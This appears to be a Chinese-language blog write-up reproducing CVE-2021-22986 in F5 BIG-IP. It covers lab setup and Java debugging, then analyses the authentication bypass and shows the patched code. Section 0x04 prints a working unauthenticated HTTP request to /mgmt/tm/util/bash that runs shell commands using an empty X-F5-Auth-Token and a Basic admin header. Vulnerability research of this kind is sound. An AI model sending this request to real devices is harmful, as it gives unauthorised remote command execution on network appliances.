0x00 前言

这是去年的漏洞了,今天又出了,好久没有做复现了,看看一逻辑

漏洞描述

F5 BIG-IP20213月补丁日中修复了 CVE-2021-22986 ,未经身份验证的攻击者可以向 iControl REST 发送精心构造的恶意请求,最终在目标服务器上执行任意命令。

影响版本

1
2
3
4
5
6
7
8
BIG-IP (全部模块) v16.0.0-16.0.1
BIG-IP (全部模块) v15.1.0-15.1.2
BIG-IP (全部模块) v14.1.0-14.1.3.1
BIG-IP (全部模块) v13.1.0-13.1.3.5
BIG-IP (全部模块) v12.1.0-12.1.5.2
BIG-IQ v7.1.0-7.1.0.2
BIG-IQ v7.0.0-7.0.0.1
BIG-IQ v6.0.0-6.1.0

0x01 环境搭建

这里使用的是

  • BIGIP-16.0.0-0.0.12.ALL-vmware.ova

官方下载地址,需要注册

  • https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v16.x&ver=16.0.0

获取使用激活码地址

  • https://www.f5.com.cn/trials/big-ip-virtual-edition

这里注意的是,在正常情况下

点了如下页面的时候,会出来一个协议

image-20220510110940097

接下来就是下载软件的地方了,可以用迅雷下载日本那个链接

但是在某些情况下

点了上面的,获取虚拟版之后,会出现如下错误

image-20220510111104307

别人都是一次成功的,我这搞了三个账号才成,不过终归是能用了

软件安装

直接用VM,文件-》打开ova文件即可

image-20220510111415353

默认的账号密码是root/default

登录之后会让改密码,需要是一个强密码

image-20220510111817618

然后config配置网络

image-20220510112059971

我看了一下,他这里默认是桥接模式,正常情况下会获取到ip

image-20220510112149771

然后再浏览器直接访问https://ip

然后也不用去配置ssh什么的

使用Xshell,选择最下面的,使用键盘输入用户身份验证

image-20220510112817282

激活

登陆客户端admin/高才虚拟机修改的密码

第一次邓旭要求强制改密码

image-20220510113130926

登陆之后点击

image-20220510113234019

根据密钥选择手动激活即可

image-20220510114021044

image-20220510114053255

在服务端

image-20220510114123264

最后获得许可证

image-20220510114427529

image-20220510114619934

这里复现漏洞的话,不激活应该也没事

0x02 环境

接下来根据别人的操作,也先去看看环境

image-20220510114739162

这里的apache就是代理的作用

apache的配置文件在/config/httpd/conf/httpd.conf

image-20220510115850279

这里可以注意到两点:

  • AuthPAM开启,说明调用了httpd的某个 .so 文件进行预先的认证
  • 将所有向 /mgmt 发送的请求都转发到了 http://localhost:8100/mgmt/

通过阅读官方文档,我们可以知道所有REST API的目录前缀都是含有 mgmt 的,

所以可以看一下8100端口的服务及其进程信息是什么:

image-20220510120250303

这里原文是为了远程调试的

查看运行目录

image-20220510120856354

配置文件

image-20220510120933252

远程调试

远程支持

1
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=6001

image-20220510121739718

./resthavad

重新加载服务

image-20220510125102750

使用tmsh放行6001端口

1
2
3
tmsh
security firewall
modify management-ip-rules rules add { allow-access-6001 { action accept destination { ports add { 6001 } } ip-protocol tcp place-before first } }

image-20220510122453504

然后就可以看到端口就打开了,仅打开这一次启动,重启之后就关了

image-20220510125241476

然后在idea配置如下,记得修改jvm版本,我这里忘改了,导致下面半天到不了断点

image-20220510141436148

image-20220510141456180

其实这样就可以了,但是还是不一定能断掉,解码出来的东西乱呼呼的,别改格式,直接用就成

image-20220510150820659

0x03 代码分析

这里不说ssrf获取token的问题,详见安全客文章

认证流程

三种认证方式

  • cookie
  • Authorization
  • X-F5-Auth-Token

这里用到后面两种,

  • 其中Authorization是在apache加载的so文件种认证的
  • X-F5-Auth-Token是在java代码种认证的

这里面存在一个问题就是,后端不会对apache认证过的做二次认证

其中在so文件中如果检测到了请求头X-F5-Auth-Token,则会直接发往后端,详见斗象安全研究

我们可以看一下异同

没有请求头时,返回的apache的401

image-20220510164822774

存在请求头时,返回的是后端的请求头,具体的执行流程可以看上面的安全客文章

还有个关于监听器的文档官方文档

这里存在的关键点是,在执行之前,会设置我们的身份

image-20220510165029816

而此时,如果我们传入的X-F5-Auth-Token为空,则会通过Authorization设置我们的身份

而我们的身份是可以传入的

就是header的值解码后冒号前面的部分

image-20220510165236751

然后在执行方法的时候,验证的权限就是在isDefaultAdminRef方法种,当然上面也有跳出去的方式,后面看看

image-20220510165732624

这大概就是验证的流程了

0x04 漏洞复现

1
2
3
4
5
6
7
8
9
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.0.68
X-F5-Auth-Token:
Authorization: Basic YWRtaW46

{
"command": "run",
"utilCmdArgs": "-c id"
}

image-20220510170002387

0x05 漏洞修复

  • apache会验证X-F5-Auth-Token是否为空
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null)
return false;
final AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, null, null);
if (runnable != null)
runnable.run();
return true;
}
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0;
if (valueList[valueIdx].contains("localhost") || valueList[valueIdx]
.contains("127.0.0.1")) {
request.setIdentityData(components.userName, null, null);
if (runnable != null)
runnable.run();
return true;
}
if (valueList[valueIdx].contains("127.4.2.1") &&
components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, null, null);
if (runnable != null)
runnable.run();
return true;
}
boolean isPasswordExpired = (request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true"));
if (!PasswordUtil.isPasswordReset().booleanValue() || isPasswordExpired) {
request.setIdentityData(components.userName, null, null);
if (runnable != null)
runnable.run();
return true;
}
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, null, null);
if (runnable != null)
runnable.run();
}

public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[] { ex.getMessage() });
if (ex.getMessage().contains("Password expired"))
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
if (runnable != null)
runnable.run();
}
};
try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException e) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[] { e.getMessage() });
}
return true;
}

这种方式依然存在绕过,所以就有了CVE-2022-1388